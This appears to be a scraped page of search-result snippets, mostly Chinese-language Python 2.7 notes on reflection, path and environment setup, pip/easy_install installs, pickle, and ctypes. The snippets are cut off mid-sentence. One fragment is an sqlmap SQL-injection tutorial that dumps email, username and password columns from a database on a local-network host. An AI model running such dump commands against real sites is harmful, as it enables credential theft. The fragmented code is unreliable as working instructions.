= Dog('XiaoBai') choice = input('>>:').strip() if hasattr(d,choice): #如果d中存在eat getattr(d,choice...d.talk就相当于调用bulk这个函数,而d.bulk则是不存在的....(d,choice) func('Bone') else: # setattr(d,choice,bulk) # d.talk(d) setattr(d,choice,22...,'LeLe') #设置已有属性的值(相当于更改了) else: # setattr(d,choice,bulk) # d.talk(d) setattr(d,choice...) #删除属性 else: # setattr(d,choice,bulk) # d.talk(d) setattr(d,choice,22) print (getattr
应用场景如下:从api下载数据,json解析,存入字典,定期保存。重启程序需要加载保存的文本。 问题1:json中都是unicode串,存到文本里都是些\u**...
\\Python27\\Lib\\idlelib', 'C:\\Windows\\system32\\python27.zip', 'D:\\Python27\\DLLs', 'D:\\Python27...\\lib', 'D:\\Python27\\lib\\plat-win', 'D:\\Python27\\lib\\lib-tk', 'D:\\Python27', 'D:\\Python27\\lib...\\site-packages'] >>> sys.path.append('/tmp') >>> sys.path ['E:\\Note\\Python', 'D:\\Python27\\Lib\\idlelib...', 'C:\\Windows\\system32\\python27.zip', 'D:\\Python27\\DLLs', 'D:\\Python27\\lib', 'D:\\Python27\\lib...\\plat-win', 'D:\\Python27\\lib\\lib-tk', 'D:\\Python27', 'D:\\Python27\\lib\\site-packages', '/tmp']
然后: 1)、在PATH里加入D:\MinGW\bin,记得,如果里面还有其他的变量,记得要加个分号啊,分号得在英文输入模式下输入的。...2)、新建LIBRARY_PATH变量,如果有的话,在值中加入D:\MinGW\lib,这是标准库的位置。 3)、新建C_INCLUDEDE_PATH变量,值设为D\MinGW\include。...4)、新建CPLUS_INCLUDE_PATH变量,值为D\MinGW\include\c++\3.4.5;D:\MinGW\include\c++\3.4.5;D:\MinGW\include\c++...\3.4.5\backward;D:\MinGW\include。...Collecting zbar Downloading http://mirrors.aliyun.com/pypi/packages/33/54/cc5819efc9ee7e34b60b41e1d2d4753b6dd0c26a41c9a552611f66aa106e
peak.telecommunity.com/dist/ez_setup.py NOTE: 最好下载个setuptools,本人是15.2版本,里面包含了ez_setup 运行 python ez_setup.py D:...dependencies for setuptools==15.2 Finished processing dependencies for setuptools==15.2 运行 easy_install py D:...dependencies for py Finished processing dependencies for py 【方法二】: 通过pip来安装python模块 安装 easy_install pip D:...Python27\Scripts Installing pip2.7.exe script to C:\Python27\Scripts Installing pip2-script.py script...to C:\Python27\Scripts Installing pip2.exe script to C:\Python27\Scripts Using c:\python27\lib\site-packages
\tools\Python27\DLLs’, ‘D:\to ols\Python27\lib’, ‘D:\tools\Python27\lib\plat-win’, ‘D:\tools\...Python27\ \lib\lib-tk’, ‘D:\tools\Python27’, ‘D:\tools\Python27\lib\site-packages’,...‘D:\tools\Python27\lib\site-packages\wx-2.8-msw-unicode’] 不同的机器上显示的路径信息可能不一样,但至少都包含上面提到的...\tools\Python27\DLLs’, ‘D:\to ols\Python27\lib’, ‘D:\tools\Python27\lib\plat-win’, ‘D:\tools\...Python27\ \lib\lib-tk’, ‘D:\tools\Python27’, ‘D:\tools\Python27\lib\site-packages’,
打开控制台,然后粘贴相应的 Python 安装代码; 2.Sublime Text 3 安装代码并回车: import urllib.request,os,hashlib; h = '7183a2d3e96f11eeadd761d777e62404...' + 'e330c659d4bb41d3bdf022e94cab3cd0'; pf = 'Package Control.sublime-package'; ipp = sublime.installed_packages_path.../Python27/python.exe", 3 "pythonExtraPaths": 4 [ 5 "D:/Python27",... 6 "D:/Python27/DLLs", 7 "D:/Python27/Lib", 8 "D:/...Python27/Lib/lib-tk", 9 "D:/Python27/Lib/site-packages"10 ]11 }
id=134" -D tourdata --tables 参数: -D:指定数据库名称 --tables:列出表 结果: ? 结果体现共列出了34张表。...id=134" -D tourdata -T userb --columns 参数: -D:指定数据库名称 -T:指定要列出字段的表 --columns:指定列出字段 结果: ?...九、暴字段内容 C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?...id=134" -D tourdata -T userb -C "email,Username,userpassword" --dump 参数: -C :指定要暴的字段 --dump:将结果导出 结果:...id=134" -D tourdata -T userb -C "email,Username,userpassword" --start 1 --stop 10 --dump 参数: --start:
Public Python-2.7.6.tar.xz Videos [root@localhost ~]# [root@localhost Python-2.7.6]# /usr/local/python27.../bin/python2.7 /usr/bin/python27 `/usr/bin/python27' -> `/usr/local/python27/bin/python2.7' [root@localhost...ipython-1.2.1]# ln -sv /usr/local/python27/bin/ipython /usr/bin/ `/usr/bin/ipython' -> `/usr/local/python27...https://pypi.python.org/packages/source/r/readline/readline-6.2.4.1.tar.gz#md5=578237939c81fdbc2c8334d168b17907...tar xf readline-6.2.4.1.tar.gz#md5\=578237939c81fdbc2c8334d168b17907.gz python setup.py install
www.python.org 分别下载并安装 python-2.7.14.amd64.msi python-3.6.5-amd64.exe 2、设置环境变量 在Path变量最后增加C:\Python27...;C:\Python27\Scripts;C:\Python36;C:\Python36\Scripts 比如我的Path变量如下: C:\ProgramData\Oracle\Java\javapath...D:\Users\chengyq>python --version Python 2.7.14 D:\Users\chengyq>python3 --version Python 3.6.5 D:\...Users\chengyq> (2)pip命令 D:\Users\chengyq>pip --version pip 9.0.1 from c:\python27\lib\site-packages (...-V pip 9.0.1 from c:\python27\lib\site-packages (python 2.7) D:\Users\chengyq>
$ conda info --envs # conda environments: # python27 /apps/anaconda2/envs/python27...in environment at /apps/anaconda2/envs/python35: # ca-certificates 2017.08.26 h1d4fec5...7.2.0 h7cc24e2_2 libstdcxx-ng 7.2.0 h7a57d05..._2 ncurses 6.0 h06874d7_1 openssl 1.0.2l...setuptools 36.5.0 py35ha8c1747_0 sqlite 3.20.1 h6d8b0f3
IO编程 一、文件读写 1、读文件 要以读文件的模式打开一个文件对象,使用Python内置的open()函数,传入文件名和标示符: f=open('C:\Python27/README.txt','r'...last): File "C:/…/lx.py", line 1, in f=open('C:\Python27/donotREADME.txt','r') IOError: [...如果失败,再导入pickle: try: importcPickle as pickle except ImportError: importpickle 把一个对象序列化并写入文件: >>> d...= dict(name='Bob', age=20,score=88) >>> pickle.dumps(d) "(dp0\nS'age'\np1\nI20\nsS'score'\np2\nI88\nsS'name...或者用另一个方法pickle.dump()直接把对象序列化后写入一个file-like Object: >>> f = open('dump.txt', 'wb') >>> pickle.dump(d,
默认会安装到C:\Python27目录下,这里做修改到D盘下; 添加环境变量:点击我的电脑—属性—高级系统设置—环境变量—系统变量Path——编辑,添加 D:\Python27 及 D:\Python27...\Scripts,变量之间以分号“;”间隔 注:D:\Python27 是我的python安装目录,一般童鞋都放到c盘里;D:\Python27\Scripts这个文件是为pip文件(python包管理工具
可以通过 如下两种方法: 方法一:使用cmd命令添加path环境变量 在cmd下输入: path=%path%;D:\Python27 接着按"Enter"回车键。...其中: D:\Python27 是Python的安装目录。...(4) 然后在"Path"行,添加python安装路径即可(我的D:\Python27)。 ps:记住,路径直接用分号";"隔开!
setuptools 步骤4:安装pip工具 cmd开启控制台,cd命令进入到E:Python2\Scripts> ,执行 easy_install pip, 等待完成即可 C:\Users\laifuyu>cd /d..."d:\Program Files\Python27\Scripts" d:\Program Files\Python27\Scripts> easy_install.exe pip 附:easy_install...C:\Users\laifuyu>cd /d "d:\Program Files\Python27\Scripts" d:\Program Files\Python27\Scripts>pip.exe...pypi.python.org/pypi/selenium 我下载的是selenium-2.40.0.tar.gz 手动下载selenium的安装包后,右键解压缩,,保险起见,解压后把整个目录放到C:\Python27
常见的一种应用情形是,使用Python快速生成程序的原型(有时甚至是程序的最终界面),然后对其中有特别要求的部分,用更合适的语言改写,比如3D游戏中的图形渲染模块,性能要求特别高,就可以用C/C++重写.../configure --prefix=/usr/local/python27 [root@stu Python-2.7.10]# make && make install 安装ipython [root.../bin/python2.7 setup.py build [root@stu ipython-3.2.1]# /usr/local/python27/bin/python2.7 setup.py install...建立链接 [root@stu ~]# ln -sv /usr/local/python27/bin/python2.7 /usr/bin/python27 `/usr/bin/python27' ->... `/usr/local/python27/bin/python2.7' [root@stu bin]# ln -sv /usr/local/python27/bin/ipython /usr/bin/
",c_long), ("ccc",c_char), ] print "aaaaaaa:%s" %value a=aaa(v,vv,vvv) print "aaa: %d"...%a.aaa print "bbb: %ld" %a.bbb print "ccc: %s" %a.ccc test1 c:\Python27>python D:\jincheng\workspace...\GrayHatPython\chapter1.py aaa: 6 aaaaaaa:6 aaa: 54 bbb: 54 ccc: 6 test2 c:\Python27>python D:\jincheng...%ss print "aaa: %d" %a.aaa print "bbb: %ld" %a.bbb print "ccc: %s" %a.ccc test D:\Python27>python...d:\demo.py aaa: 66 v 66 bbb: 55 aaaaaaa:66 ss 55 aaa: 55 bbb: 55 ccc: 7
步骤: 1.用管理员方式打开cmd 2.首先通过pip命令安装wheel 如果提示’pip’不是内部或外部命令,也不是可运行的程序或批处理文件 ①将python安装目录下的scripts目录(例如D:...\Python27\Scripts)添加到系统环境变量path里,注意前加分号。...再执行该命令 pip install wheel ②在cmd下进入到D:\Python27\Scripts目录下执行该命令 pip install wheel 3.安装whl文件 ①如果将D:\Python27...pip install python_dateutil-2.5.3-py2.py3-none-any.whl ②否则的话,需要在D:\Python27\Scripts目录下用管理员打开cmd,运行pip
draw_flower1.py" target="show"> 源代码 turtle 画一朵玫瑰花 源代码 turtle 画一朵西兰花 源代码 <input type="button" value="运行 python" οnclick="exec1('<em>D</em>:\\<em>python27</em>
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